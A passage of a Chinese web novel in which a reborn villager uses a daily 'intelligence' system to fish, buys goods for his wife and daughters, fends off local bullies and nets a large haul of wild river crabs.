王服务员在旁听了个真切。 停下整理货架的手,抬头看了江川一眼,眉头微不可查地蹙了一下,但什么也没说,又低下头继续忙自己的。 第48章 没花多少 江涛骑着自行车,后座载着鼓鼓囊囊的大包,里面是新买的布料、鞋子,还有各种日用百货。 他欢快地蹬着车,想尽快回到家,把东西给月柔和孩子们一个惊喜。 到了村口,左右看了看,也没见送货的两个伙计身影 要么是伙计们还没到,要么是已经送到家里了。 正想着,迎面又碰上那几个闲汉。 几人正蹲在路边树荫下抽烟扯闲篇,看见江涛自行车上载满东西晃悠悠过来,眼睛都直了。 “哟,这不是涛子嘛!发财啦?买这么多好东西!” 王癞头率先站起来,嬉皮笑脸地拦在路中间,眼睛贼溜溜地往江涛车上的大包瞄。 “让开。”江涛皱了皱眉,不想搭理他们。 “别急着走啊涛子,” 另一个闲汉也凑上来,挡在另一边,“你这是在江里捞着好东西了,哼,也不带上咱们哥几个一起沾沾光?太不够意思了吧?” “就是!” 又一个闲汉附和道,“早上让你带我们一起打渔,你却推三阻四的,现在背着我们捞着好东西了!怎么,想自己吃独食?咱们乡里乡亲的,有财一起发嘛!” 江涛一看这架势,得,这是眼红他挣钱,想敲竹杠了。 “不是你们几个害怕没跟上来吗?” 江涛冷冷开口,“再说,我凭自己本事吃饭,捞到什么跟你们有什么关系?让开!” “哼,口气不小!” 王癞头见江涛态度强硬,也有些恼了,“江涛,别给脸不要脸!你今天要不分点好处出来,这些东西,都别想安生带回家!” 说着,他朝其他闲汉使了个眼色,几人隐隐成合围之势,想把江涛连人带车堵在中间。 江涛眼神一厉。 这是想跟他玩硬的啊。 呵呵,他们没见着铁牛在,以为他江涛好欺负? 行啊,这些滚刀肉听不进人话,那他正好略懂拳脚,就让他们见识见识。 以前当混子时,为了不受欺负,他也跟人学过几手粗浅拳脚,对付这几个被酒色掏空的闲汉绰绰有余。 只是现在不想轻易动手,以免引来不必要的麻烦罢了。 “你想干什么?” 王癞子见江涛眼神变了,心里莫名有点发虚,色厉内荏地喝道。 江涛笑了,“有怂心没怂胆?你们几个还怕我一个?” “我怕你?!” 王癞头被这话一激,加上刚才在同伴面前丢了面子,恼羞成怒,吼了一声“揍他娘的!” 率先挥着拳头冲了上来。 江涛早有准备,王癞头来势汹汹却步伐虚浮,他将自行车一推,侧身一闪,让过拳头,同时脚下使了个绊子,手上再顺势一带。 王癞头收势不住,“哎哟”一声,踉跄着扑倒在地,摔了个狗啃泥。 其他几个闲汉见王癞头吃了亏,愣了一下,随即也怪叫着扑上来。 江涛正要大展身手,却听一声暴喝传来。 “住手!干什么呢!” 两个送货的伙计,正推着空板车从村里出来,他们送完了货准备回乡里,恰好撞见这一幕。 两人都是二十出头的壮小伙,常年干体力活,一身力气。 见有人围堵他们的主顾,扔下板车,抄起路边一根棍子就冲了过来。 “涛子兄弟,没事吧?”一个伙计抄着棍子挡在江涛身前。 “光天化日敢欺负人?反了你们了!”另一个伙计也怒目圆睁。 王癞头几人一看这架势,对方人不多,但凶神恶煞地拿着家伙,顿时怂了。 他们欺负落单的江涛还行,对上两个身强力壮的年轻伙计,哪还敢动手? “误会,误会!我们就是跟涛子开个玩笑!”一个闲汉赶紧赔笑。 “对对,开玩笑的!” 其他几个闲汉也连忙撇清,顺手拉起还在地上哼哼的王癞头。 “还不快滚!”伙计挥了挥棍子。 几人如蒙大赦,屁滚尿流地往村里跑,生怕走慢了挨揍。 “谢谢两位小兄弟!”江涛松了口气。 “谢什么,应该的。江大哥,东西都给你送到家放好了,嫂子签收了。这几个泼皮没伤着你吧?” “没事,多亏你们来得及时。” 江涛摇摇头,“走,跟我回家喝口水歇歇。” “不了不了,我们还得赶回厂里交差。江大哥,以后在村里小心点,这几个家伙一看就不是好东西。” 伙计叮嘱道。 “我明白,今天多谢了。” 江涛随手掏出两块钱,一人一块塞给他们,“拿着,买瓶汽水解解渴。” “哎呀,江大哥,这怎么好意思……”两个伙计推辞。 “拿着,别嫌少,今天辛苦你们了,也谢谢你们仗义出手。”江涛坚持。 “那就谢谢江大哥了!” 两个伙计憨厚地笑了,接过钱,高高兴兴地推着板车走了。 目送两个伙计走远,江涛这才扶起自行车,检查了一下东西没损坏,推着车往家走去。 心里却对王癞头那几个闲汉,尤其是背后可能指使的宋二更加警惕。 回到家,崭新的樟木橱柜和八仙桌靠背椅已经摆在了堂屋,占去了不少空间。 原本空旷的土屋显得有些拥挤,却也充满了殷实富足的气息。 林月柔和几个丫头正围着新家具好奇地看着,摸摸着,敲敲那,脸上是掩不住的欢喜。 见江涛提着满满一大包东西进来,都惊喜地围了上来。 “爸爸回来啦!” “买了什么呀?” 几个小脑袋立刻凑了过来。 “来,看看爸爸给你们买了什么好东西。” 江涛将大包放在新买的八仙桌上,一样样往外拿。 先是颜色鲜亮的花布、月白布、藏青布,一匹匹展开,几个丫头“哇”地叫出声,眼睛亮晶晶的,小手小心翼翼地摸着光滑的布料。 “这是给你们的夏天新衣裳料子,回头让妈妈给你们做。” 接着是崭新的塑料凉鞋,一排摆开,小巧可爱。 “这是凉鞋,试试大小合不合脚,不合适爸爸再去换。” 然后,雪花膏、洗头膏、清凉油、风油精、牙膏牙刷、解放鞋…… 林月柔拿起那瓶百雀羚,眼圈微微红了。 她记不清多少年没用过这种东西了,手指因为常年劳作和水浸,早就粗糙开裂。 “还有这个,给你擦脸的。”江涛将雪花膏放到她手里。 “这得花多少钱啊……” 林月柔又是欢喜又是心疼,声音有些哽咽。 “挣钱不就是给你们花的吗?” 江涛笑道,又把新买的搪瓷杯子和行军水壶拿出来,“这些家里也用得着。” 一家人正围着新东西叽叽喳喳,赵老太恰好从隔壁过来串门,一进门就被这满屋子的新物件晃花了眼。 崭新的橱柜桌椅,大堆的花布料子,鞋子,还有那些瓶瓶罐罐稀罕东西。 她眼睛都看直了,心里的酸劲儿艳羡怎么也压不住。 “哎哟,月柔,涛子这是真发了呀!看看这买的,又是柜子又是桌子,还有这么多好东西!这得花不少钱吧?” “没花多少,赵婶,就是添点家当。”林月柔客气道。 “还没花多少呢!” 赵老太摸着光滑的樟木柜子,又瞥见桌上的雪花膏,心里顿时不平衡了。 她转头就朝自家方向,故意提高了嗓门,指桑骂槐地嚷道:“看看人家涛子,多知道疼老婆孩子!这才几天功夫,家里就大变样了!再瞅瞅某些人,跟着过了几十年,别说雪花膏了,连块像样的胰子都没给买过!” “哼,总说自己是老打渔的,却连个下江没几天的新手都不如,真是一点出息都没有!我这是造的什么孽哟……” 她这大嗓门,隔壁赵老头听得清清楚楚。 老脸臊得通红,又不敢接话,只能蹲在自家门槛上,闷头抽着水烟,心里把江涛这小子“埋怨”了八百遍。 这小子,挣钱就挣钱,买好东西就买好东西,非弄这么大动静,这不是存心让他老赵在家抬不起头嘛! 第49章 一起干 赵老太在那儿絮絮叨叨,林月柔听着有些尴尬,心里不太自在。 她就是这样,心肠太软。 别人一抱怨,哪怕不是冲着她,心里也跟着不落忍。 江涛看在眼里,从新买的日用品中,拿出一盒清凉油和一瓶风油精递给赵老太。 “赵婶,这个给您。夏天蚊虫多,抹点风油精能防叮咬,头疼脑热在太阳穴抹点清凉油也管用。” 赵老太一愣。 刚才骂自家老头,不过是一时气不过,哪指望能从江涛这儿得什么好处。 没想到涛子这么大方,还主动给她东西。 “哎哟,涛子,你看你,这我也不好意思收啊。” 赵老太嘴上推辞着,眼神却很实诚地盯着那两样东西。 “嗨,跟我还客气什么。” 江涛把清凉油和风油精硬塞到她手里,“今天在江边打鱼,我还用了赵叔的小舢板呢,您不也没说什么嘛。” 赵老太一愣。 这事她不知道啊。 知道了,肯定会嘀咕两句。 不过,人家涛子会做人,主动给了好处,自己哪还能挑理? “用用船算什么,你赵叔放着也是放着!那我就收下了,谢谢你啊涛子!” 赵老太接过来,笑得合不拢嘴,心里的那点酸气顿时散了大半,看江涛也越看越顺眼。 “涛子,你赵叔又没本事打渔,那小舢板放着也是放着,你什么时候想用就自己拿,不用跟他客气!” “我也是偶尔用下,赵叔要打渔我也不好占用啊。”江涛客气。 “他能打什么鱼啊?” 赵老太一挥手,“这事我做主了,涛子,你放心用!” 说着,心满意足地拿着东西回家了。 赵老头正坐在自家门槛上闷头抽水烟,见赵老太手里拿着东西眉开眼笑地回来,更是气不打一处来。 “你这个老婆子,就喜欢贪这些小便宜,丢不丢人!” “小便宜?” 赵老太把清凉油和风油精往他眼前一怼。 “睁大你的老眼看看,这叫小便宜?这两样少说也值一块钱呢!还是涛子懂事,知道体恤我这老婆子。指望你?哼,指望你我这辈子都甭想用上这稀罕玩意儿!” “你!” 赵老头被噎得说不出话。 心里对江涛是既欣慰,又有些埋怨。 要不是江涛,他不会被老婆子看不上,但要不是江涛,老婆子发飙也没人能安抚。 唉,真是成也萧何败也萧何! 江涛现在这么能耐,自己以后打渔,是不是也该放下点面子,跟着他一起看看? 这小子不是说要买渔船嘛,说不定……赵老头心里有点活泛了。 “月柔,我去下铁牛家里。” 此时,江涛拿出那双新买的解放鞋和那把军绿色行军水壶。 铁牛给他铺砖死活不要工钱,他就想着送点东西过去。 看他干活时脚上那双鞋都快磨烂了,这解放鞋结实耐穿。 行军水壶以后外出干活也方便。 这天气越来越热,饮水可得保证。 “好的,那你送完赶紧回来吃饭。” 林月柔柔声叮嘱。 这几天,江涛忙着打渔,饭都不按时吃,长期下去身体可吃不消。 她得想想办法,以后得弄点方便携带的干粮让他带上。 “嗯,我去去就回!” 江涛拿着东西去了铁牛家。 铁牛正在门口树荫下编草席。 这几天,跟着江涛挣了二十二块,但他也没心浮气躁,该干的活还是踏踏实实地干。 这份心性就足以让人放心,是个值得合作的伙伴。 “铁牛,这个给你。”江涛把东西递过去。 铁牛抬起头,看见那双崭新的解放鞋和漂亮的水壶,一下子愣住了。 “涛子,这么好的东西……我不能要,我……” “给你就拿着,” 江涛不由分说将鞋和水壶塞到他怀里,“以后你跟着我干活,脚上没双好鞋怎么行?再比如以后出船,带个水壶也方便。跟我还见外?” 铁牛看着怀里结实的新鞋和沉甸甸的水壶,心里热乎乎的,鼻头一阵发酸。 长这么大,除了他娘,还没人给他买过这么好的东西。 不,就是他娘,也买不了这么好的东西啊! “谢、谢谢涛子……”铁牛眼眶一红。 “行了,赶紧试试鞋合不合脚。”江涛拍拍他肩膀。 “哎,我试试。” 铁牛连忙放下手里的活儿,小心翼翼地穿上新鞋。 正好,不大不小。 他站起来走了两步,脸上露出憨厚满足的笑容。 “涛子,这鞋穿着真舒服。” 铁牛娘听见动静出来,一眼便看见儿子脚上的新鞋和手里的新水壶。 “娘,你看,涛子给我买的!” 铁牛憨厚地举起水壶,又跺了跺脚展示新鞋。 “涛子,这、这么好的东西,这怎么使得……” 铁牛娘有些手足无措。 “大娘,您别这么说。铁牛帮我这么多,这都是应该的。” “应该的?谁家该谁的啊……” 铁牛娘说着说着,眼圈也红了,拉着江涛的手一个劲儿说江涛好,说江家一脉相承都是大善人。 以前江老爷子放了她爹,现在涛子又这么照顾她儿子…… “大娘,都是过去的事了。现在咱们好好的,把日子过好,比什么都强。” 江涛心里也有些触动。 没想到父亲当年一个举动,竟在几十年后以这种方式有了回响。 “对,对,把日子过好……” 铁牛娘紧紧握着江涛的手,像是抓着主心骨。 “涛子,铁牛这孩子实诚,没别的本事,就有一把子力气。你以后有啥事,尽管使唤他!他要是不听话,你告诉我,我收拾他!” “娘!”铁牛在一旁听得郁闷。 他是那种有力气不想着干活的人吗? 只要涛子一声令下,上刀山下火海他也敢干! “大娘,您放心,铁牛是我兄弟,我们以后一起干,肯定能把日子越过越好。”江涛说得极其认真。 铁牛听得莫名感动。 能跟涛子称兄道弟,是他多少辈分才修来的福气。 要知道,这搁在过去,江涛可是地地道道的江家三少爷。 而他呢? 只不过一个长工的孩子。 铁牛娘露出安心感激的笑容,“好,好,一起干……” 从铁牛家出来,江涛心里也暖暖的。 帮助值得帮助的人,得到真诚的回应,这种感觉很好。 以前也是瞎了眼,竟将宋二那种老阴货当成知己,也是没谁了。 被那样的毒蛇缠上,不死也得脱层皮! 还好老天有眼,让他重活一世,有了拨乱反正的机会。 江涛看了看天,此时日头偏西,抬手看表已经下午一点多了。 他绕道去了小卖部老邹那儿,打算买把锁。 毕竟,橱柜有了,但没锁一样不保险。 当然,现在他住的土屋,也只是防君子不防小人。 说到底,还是得尽快建新房。 唉,要花好几千呢! 也不知到时买船的钱够不够。 想着想着,走到了小卖部。 老邹正靠在柜台后打盹,见江涛进来,立刻精神了。 “涛子,又来啦?今天要点什么?” “买个锁。” “锁啊,有有有!” 老邹从柜台底下翻出几个样式不同的挂锁,“这种铜的,好看,但不太结实。这种铁的,黑不溜秋,但实在,一般钳子都铰不开。你要哪种?” “要结实的,铁的就行。”江涛拿起那把沉甸甸的铁挂锁看了看。 “好嘞,这锁一块二。” 江涛付了钱,接过锁和钥匙。 正要走,老邹一脸八卦凑上来。 “涛子,刚才王癞头那几个灰头土脸地跑过去,嘴里还不干不净骂骂咧咧,是不是又找你麻烦了?你没事吧?” “没事,我能应付。谢谢提醒了。” 没想到老邹这人还不错。 当然,前提是自己得经常关照他家生意。 “那就好。那几个混子跟宋二穿一条裤子,你小心着点。有啥事需要帮忙喊一声。”老邹叮嘱。 “好。”江涛点头应下。 有了这把锁,家里那些钱和稍微值点钱的东西,总算有个相对安全的去处了。 第50章 温柔 回到家,大圆桌上已经摆好了热气腾腾的饭菜。 林月柔和几个丫头安安静静地坐在桌边等着,老八已经在妈妈怀里睡着了。 江涛看了,心里涌上一股暖意,也有些心疼。 “你们还没吃吗?” “我们要等爸爸一起吃呢。” 老二江盼娣投巧卖乖地抢答。 其实,对于晚吃饭她心里是有点不高兴的。 不过,等的人是爸爸,而且爸爸最近总能弄到好吃的,她也就忍了。 江招娣和其他几个丫头,倒是真心实意要等爸爸一起。 这几天,爸爸给她们带回来的好东西、新衣裳料子,让她们心里充满了欢喜和依赖。 只是江招娣又有些惆怅,爸爸最近也不怎么带她一起打渔了。 当然,这也怪自己没主动争取,要不学学江老二脸皮厚一点? “唉,以后到了饭点,你们要先吃。” 江涛在桌边坐下,摸了摸盼娣的头,“月柔,几个孩子都还在长身体,我这打渔时间没个准,以后别让她们傻等。我回来热热吃就行。” “我知道了。” 林月柔点点头,但心里想的是,只要可能,她还是希望一家人能坐在一起吃顿饭,那才有家的感觉。 一家人和和美美吃完饭。 江招娣和几个丫头抢着收拾洗碗。 老二江盼娣则以“带老八玩”为名,趁机溜了出去。 丫头们都知道她什么小心思,不过在爸爸面前也就没拆穿她。 “江涛,要不你躺会休息下?” 林月柔看着江涛眉宇间难掩的疲惫,很是心疼。 这几天,他几乎没怎么好好休息,天不亮就出门,风里来雨里去的。 “是得躺会儿。” 江涛确实有些乏了。 反正今天的情报已经用了,下午也没什么事。 养足精神,才能迎接明天可能的新收获。 不过,休息前,有件事得先办。 “月柔,过来。” 他走到新买的樟木橱柜前,拉开柜门。 里面空荡荡的,只有一股淡淡的樟木香。 江涛从怀里掏出厚厚一沓钞票,仔细数了数,留下八百作为零花钱,将剩下的六千块整整齐齐码好。 “月柔,这个你收好,锁在柜子里。钥匙你拿一把,我拿一把。” 说着,江涛将锁和一把钥匙,以及钞票递给她,自己则将另一把钥匙贴身收好。 看着那前所未有钞票的厚度,林月柔手都抖了。 “这……这么多?” “嗯,运气好,这两天捞到点稀罕物。” 江涛尽量让自己的语气平静,“收好,这里面有六千,离万元户不远了。” “万元户?” 林月柔喃喃重复着这个词,感觉像做梦一样。 这……这是她以前想都不敢想的事情。 以前她们能指望吃个饱肚子就谢天谢地了,而这几天几乎顿顿有肉有菜。 家里更是添了新家具,孩子们有了新衣裳料子。 她心里有时甚至有种不真实飘飘然的感觉,偶尔还会生出一点负罪感。 觉得日子不能过得这么奢侈,这么飘。 不过,这几天也是因为有客人在,需要招待。 江涛虽然能花,但更能挣! 看他这么大手大脚地买东西,竟然还能剩下这么多钱。 六千块! 这简直是个天文数字! 她小心翼翼将钱用布包好,放进橱柜最里面,锁好,又把钥匙贴身收好。 心里那份不安,渐渐被一种前所未有的踏实和希望所取代。 “好了,这下安心了。我去眯一会儿。” 江涛打了个哈欠,走到里屋,衣服都没脱,倒在床上很快就睡着了。 睡梦中,他又看到了三叔,还有那银光闪闪的鱼群。 梦境里,雾气比上次更浓,湿漉漉地贴在脸上。 江涛又看见了那个穿着旧军装的挺拔背影。 这次,三叔没有赶着鱼群走,而是站在一片波光粼粼的水边,朝他招了招手,脸上似乎带着一丝温和的笑意。 “三叔?”江涛想靠近,但脚下却像灌了铅。 三叔没说话,只是指了指脚下那片水域。 江涛低头望去,只见清澈的水下,各种色泽的鱼群混杂。 金色的鲤鱼悠然摆尾,墨绿的甲鱼沉稳爬行,肥硕的江鲢穿梭其间……应有尽有,甚至还有他从未见过色彩斑斓的奇特鱼类。 它们和谐地共存于这片水域,看着生机勃勃。 “这是……”江涛不解。 三叔似乎想说什么,嘴唇动了动,但声音却被浓雾吞噬。 最后,他深深看了江涛一眼,身影连同那片奇异的水域,一起缓缓淡去,最终消失在茫茫白雾之中。 “三叔!” 江涛一急,猛地惊醒过来,胸口微微起伏。 屋里一片昏暗,只有窗棂透进一丝微弱的月光。 他感觉到脸上有温热的毛巾轻轻擦拭,一扭头,看见林月柔正蹲在床边,用拧干的热毛巾给他擦脸。 “醒了?饿不饿?” 林月柔声音轻柔,“看你睡得沉,没忍心叫你。给你留了饭菜,在锅里热着呢。” 江涛这才觉得饥肠辘辘,点了点头,还有些恍惚。 林月柔起身去灶间,很快端来一碗热腾腾的米饭,上面盖着青菜炒肉丝和几块红烧鱼。 她坐在床边,用小勺子一口一口喂他。 “我自己来。”江涛有些不好意思。 “你别动,今天累着了,歇着吧。” 林月柔坚持,动作轻柔而耐心。 温热的饭菜下肚,驱散了梦醒后的那点寒意和空虚。 吃完饭,林月柔又端来一盆热水,试了试水温,帮他脱下鞋袜,将他的双脚泡进热水里。 温热的水包裹住疲惫的双足,舒服得江涛几乎叹息出声。 林月柔挽起袖子,用手轻轻帮他揉搓脚底和脚踝,力道适中。 昏黄的煤油灯光下,她低着头,神情专注而温柔,几缕碎发垂在颊边。 江涛看着这一幕,心里某个地方软得一塌糊涂。 上辈子他混蛋,从未珍惜过这份温柔。 这辈子,他拼了命也要让这个女人,让这个家,过上好日子。 “月柔……”他低声唤道。 “嗯?” 林月柔抬起头,眼中映着灯光,亮晶晶的。 “没事。” 江涛摇摇头,千言万语堵在胸口,最后只化作一句,“辛苦你了。” 林月柔笑了,摇摇头,继续手上的动作。 洗好脚,她用干布仔细擦干,扶着江涛重新躺好,替他掖好被角。 “睡吧,明天还要早起呢。” “嗯。” 江涛闭上眼睛,这次没有再做任何梦,在家中安稳的气息中,沉入了香甜的梦乡。 一觉睡到次日天光大亮。 清脆的鸟鸣和灶间传来的轻微响动将他唤醒。 他睁开眼,只觉得神清气爽,连日的疲惫一扫而空。 抬手看了看腕上的上海牌手表,指针指向六点一刻。 新的一天,开始了。 第51章 野生河蟹 也不知今日是什么情报。 江涛心里既期待,又有些忐忑。 毕竟,每日情报如今是他安身立命,改变家境的最大依仗。 他翻身下床,走到堂屋角落新摆的八仙桌旁。 上面一溜摆放着十个崭新的红双喜搪瓷杯子,旁边是新买的牙膏和牙刷。 搪瓷杯既能用来刷牙,又能用来喝水。 因此,江涛一口气买了十个,家里每人一个。 他挤上清新薄荷味的牙膏,用搪瓷杯从水桶里舀了清水,仔仔细细刷起牙来。 清凉的泡沫在口腔里化开,带着一股久违的洁净感。 不像之前,只能用手指蘸点粗盐在牙齿上胡乱抹两下,刷完嘴里又咸又涩。 这日子,终于开始有了点像样的滋味了。 刷完牙,江涛用清水洗了把脸。 走到灶间,林月柔正在灶台前忙活着。 锅里的水已经烧开,咕嘟咕嘟冒着热气,另一个锅里正熬着稠稠的米粥。 “醒了?粥马上好,你先坐着。” 林月柔回头笑了笑,她正在揉一块面团,旁边案板上放着切好的腌菜丝和几个煮熟的鸡蛋。 “你这是做什么?”江涛走过去。 “给你做点干粮带上。” 林月柔边揉面边说,“我看你天天在外面跑,吃饭没个准点,长此以往怎么行?我想着,给你蒸几张发面饼,里面卷点腌菜丝,再煮几个鸡蛋。你带在身上,饿了随时能吃。唉,只可惜没法保温,不过总比空着肚子强。” “月柔,谢谢你。”江涛心里暖流涌动。 这个曾经被他亏待,跟着他吃了无数苦的女人,如今正用她最朴实的方式,默默支持着他,照顾着他。 “谢什么?” 林月柔回头嗔怪地看了他一眼,“这些都是小事,只要你平平安安,能按时吃上饭,比什么都强。” 这时,江招娣也揉着眼睛走过来,很自然地坐到灶膛前帮着烧火。 老三老四也陆续起来,帮着妈妈拿碗筷,摆桌子。 很快,老二和其他几个丫头也起来了。 一家人围着桌子,吃了一顿简单而温馨的早饭。 “爸爸,今天去哪打渔?” 江招娣眼巴巴问道。 她想好了,今天爸爸去哪儿,她就跟着去哪儿。 都好几天没带她一起去了,真怀念前面爸爸喊她一起打渔的日子。 “这个……” 江涛有些语塞。 每日情报还没来呢! 说实话,他也不知道今天去哪儿。 看看时间,现在快六点了,按道理,每日情报应该快到了。 难道今天起来早了,外挂还没刷新? 江涛也是有些无奈。 吃完饭,林月柔和几个丫头收拾碗筷。 江招娣帮着江涛整理一应渔具。 这时,铁牛拿着一柄不知从哪儿找来的旧抄网,赵老头扛着撒网,两人一前一后进了院子,说要跟着江涛一起去打渔。 江涛更是无语。 没有情报,八字还没一撇呢,去哪打渔? 他心里没底,也就没作声。 不过,赵老头和铁牛怎么突然要跟着他打渔? 原来赵老头这几天看江涛收获不断,心里起了跟着沾光的心思。 而铁牛得了江涛送的东西,想着以后江涛有了渔船肯定要人,何不现在就跟着他一起干。 “涛子,我看今天天气不错,东南风,水色看着也还行。按潮水,差不多辰时末巳时初那会儿,老龙口下游那片浅滩应该有鱼。涛子,你看咱们要不去那儿下两网试试?昨天你在那弄到刀鱼,说不定今天还有漏网之鱼。” 老赵头兴致勃勃,自顾自地说着。 他口中的老龙口,就是情报所说的龙口深潭。 昨天江涛在那捞着几十斤刀鱼的事,赵老头已经知道了。 想着今天去说不定还能捞着点。 还去那? 江涛心里苦笑。 昨天那地方被捞过,短时间内恐怕难有同样的大收获。 正想着如何委婉拒绝,脑海中熟悉的提示音终于姗姗来迟。 【每日情报:今日辰时三刻,村西废弃水闸泄洪道涵洞内,有大量被上游冲下的野生河蟹聚集,可用抄网或徒手捕捉。】 村西废弃水闸涵洞? 野生河蟹? 太好了! 那地方离得不算太远,走过去就行了。 “赵叔,今天不去老龙口了。” 江涛开口,“咱们去村西那个废弃老水闸涵洞看看,我觉着那边可能有货。” “什么?村西老水闸?” 赵老头胡子翘了起来,满脸不信,“涛子,你糊涂了?那地方荒多少年了,水闸早就塌了半边,涵洞里水又浑又浅,除了烂泥就是水草,能有什么货?” “前几年,有人进去摸过,别说鱼了,连个像样的泥鳅都没有!那地方阴森森的,搞不好还有水蛇。听我的,今天就去老龙口,准没错!” “赵叔,我感觉那边应该有点东西,想去看看。”江涛坚持。 他知道情报从不出错。 “感觉?感觉能当饭吃?” 赵老头急了,“我在这江边打了一辈子鱼,看水看天气从没错过!今天这风向潮水,就该去老龙口那边!你非要去那鸟不拉屎的老涵洞,不是浪费时间吗?万一白跑一趟,今天可就耽误了!” “赵叔,我还是想去看看涵洞……”江涛试图解释。 两人你一言我一语,不经意争执起来。 隔壁正在喂鸡的赵老太听见动静,放下鸡食盆就走了过来。 “吵吵什么?大清早的!” 她瞪了赵老头一眼,“人家涛子说去哪就去哪,你瞎掺和什么?跟着去不就完了?就你那点看鱼的经验有几次准的?前天不还说老拗口有鱼,结果差点把自己喂了鱼?要我说,你就该跟着涛子,他指东你别往西!” 赵老头被老婆子当着这么多人面揭短,脸上顿时挂不住了,老脸涨得通红。 “我那是没找准地方!今天这水情,肯定没错!跟着他去那破涵洞?要去你去,反正我不去!我一个人去老龙口,肯定有收获!” “行,你个犟驴!你就自己去,我看你能捞出个屁来!” 赵老太也火了,“涛子,铁牛,你们别管他,该去哪去哪!” 赵老头被彻底激起了犟脾气,哼了一声,扛起自己的渔网,气冲冲地转身就往老龙口方向去了,边走还边嘟囔。 “等着瞧,我今天非捞点刀鱼回来,让你们看看谁的眼力准!” 江涛看着赵老头远去的背影,无奈地摇摇头。 “铁牛,招娣,咱们去村西水闸。” “哎,好嘞!” 铁牛二话不说,拎起工具就跟上。 江招娣也兴奋地跑到爸爸身边。 “哎,干粮。” 林月柔追出来,将用布包好的发面饼、煮鸡蛋还有水壶塞进江招娣随身带的挎包里。 于是,三人一行朝着村西废弃水闸走去。 第52章 再也不犟了! 村西废弃老水闸,早被岁月和藤蔓侵蚀得面目全非。 巨大的水泥闸体坍塌了小半,露出里面黑黢黢的钢筋,另一半也爬满了墨绿色的青苔。 泄洪道早已淤塞,只剩一条两米来宽半人深的涵洞。 洞口被疯长的芦苇和水草遮掩了大半,里面光线昏暗,水色浑浊,散发着一股淡淡的泥腥和水藻腐败的混合气味。 铁牛看着这阴森破败的景象,再看看浑浊的水面,心里也有些打鼓。 “涛子,这……这地方真有货?” “进去看看就知道了。” 江涛没多解释,率先拨开洞口的芦苇,踩着湿滑的石头,小心翼翼走进涵洞。 铁牛和江招娣也连忙跟上。 洞内比外面更暗,水很凉。 江涛适应了一下光线,目光扫过水面和水下嶙峋的石头。 起初,似乎没什么异常。 但很快,他眼尖地发现,靠近洞壁的一块大石头缝隙里,似乎有什么东西在动。 他轻轻趟水过去,用带来的长柄抄网往石头缝里一探,然后迅速往上一捞! “哗啦!” 抄网离开水面,网底赫然是几只正在疯狂挥舞着大钳子的青色河蟹! 每一只甲壳都有成人巴掌大小,张牙舞爪地在网里“咔哒咔哒”碰撞着。 “真有螃蟹!”江招娣惊喜地小声叫道。 “我的老天,这么大!” 铁牛也瞪圆了眼睛。 这河蟹的个头,比平时在江边水洼里摸到的江蟹可大多了。 仿佛打开了某个开关,随着江涛这一网下去,搅动了水流,更多原本藏在石缝里,水草根部的河蟹受到了惊扰,开始不安地爬动。 一时间,昏暗的涵洞里,水面下石头上,到处都是影影绰绰爬动的身影。 “窸窸窣窣”的爬行声和偶尔响起的“咔哒”钳子开合声,在这封闭的空间里格外清晰。 “太多了!” 江涛也倒吸一口凉气。 情报说了大量,可眼前所见,何止是大量! 简直像是捅了螃蟹窝! 密密麻麻,几乎铺满了涵洞底部和两侧石壁! “快,铁牛,动手!用抄网捞,小心别被夹到!招娣,你站岸上,用这个桶接!” 江涛当机立断,将带来的大水桶递给女儿,自己又抄起抄网,开始大展身手。 铁牛也反应过来,兴奋地低吼一声,学着江涛的样子,用抄网去兜那些慌不择路爬上岸边石头的螃蟹。 这野生河蟹极为凶猛,被网住后拼命挣扎,铁牛没经验,一只大螃蟹突然从网眼缝隙伸出钳子,差点夹住他的手指,吓得他“哎哟”一声,差点把网扔了。 “小心点!从后面下网,别正面对着钳子!” 江涛一边飞快地捞着,一边提醒。 他动作娴熟,眼疾手快,专挑那些个头大的河蟹捞,一网下去少则两三只,多则四五只。 江招娣在岸边看得心痒难耐,但牢记爸爸的嘱咐,没敢下水,只是小心看着水桶。 很快,水桶就装了小半桶张牙舞爪的螃蟹,层层叠叠,几乎要爬出来。 “爸爸,桶要满了!”江招娣焦急地喊道。 江涛回头一看,也是吃了一惊。 这才多大会儿功夫? 他粗略估计,已经捞了不下三四十斤了! 但看样子,涵洞里的螃蟹远远没捞完! “铁牛,先停一下!” 江涛喊道,“这么多,光靠这个桶肯定装不回去。招娣,你跑得快,赶紧回家,让你妈多找几个大麻袋,快去快回!” “哎!我这就去!” 江招娣也知道事情紧急,脆生生应了一声,转身就往外跑,小小的身影灵活地钻出涵洞,很快消失在芦苇丛外。 “涛子,这也太多了吧?咱们这是把螃蟹的老巢给端了?” 铁牛看着依旧遍布爪影的涵洞,又是兴奋又是发愁。 “端了就端了,送上门的哪能不要。” 江涛笑道,继续用抄网将那些试图往深水或更隐蔽处逃窜的螃蟹捞上来,暂时堆在岸边一块干燥的大石头上。 螃蟹们在石头上徒劳地爬动着,挥舞着大钳,却再也回不到水里。 “铁牛,咱俩加把劲,趁着招娣拿家伙什回来前,能捞多少捞多少!这可都是钱啊!” “对,都是钱!” 铁牛也干劲十足,这次更加小心,也开始一网一网地收获着这意外的惊喜。 江招娣迈开小腿,飞快地往村里跑。 她心里只有一个念头。 快点拿到麻袋,回去帮爸爸和铁牛叔装螃蟹! 跑出芦苇丛,刚拐上回村的土路,迎面就撞见了王癞头几个闲汉。 他们正叼着烟,在路边晃悠,像是在寻找什么猎物。 “咦?这不是江涛家那个丫头吗?跑这么急,干啥去?” 王癞头眼睛一亮,立刻拦在了路中间。 昨天在江涛和那两个壮伙计手里吃了亏,他正憋着一肚子火没处撒,看见落单的江招娣,顿时起了坏心思。 大人他不敢动,欺负一下江涛的女儿,让他心疼着急,也算出口恶气! 江招娣心里一惊,停下脚步,警惕地看着他们。 “我、我回家有事,你们让开!” “回家?什么事这么急啊?” 一个闲汉嬉皮笑脸地凑过来,想伸手去摸江招娣的小辫子。 “是不是你爸又捞着好东西,让你回去喊人搬啊?说出来,让叔叔们也沾沾光?” “没有!” 江招娣往后退了一步,躲开那只脏手,“你们让开,我要回家!” “嘿,小丫头还挺凶!” 王癞头见周围没人,胆子也大了,上前一步,故意挡住去路。 “今天你不说清楚,就别想走。是不是你爸又在哪捞着好东西了?说出来,我们就放你走,怎么样?” “我不知道!你们走开!” 江招娣急了,想从旁边绕过去,却被另一个闲汉侧身挡住。 “不知道?那你就别想走了,陪叔叔们说说话。” 王癞头脸上露出不怀好意的笑容,伸手就要去拉江招娣的胳膊。 “你们干什么!放开我!” 江招娣又急又怕,奋力挣扎,可她一个孩子,哪是几个大男人的对手。 就在这时,一声暴喝从旁边传来,“王癞头!你个狗东西!欺负小孩子,还要不要脸!” 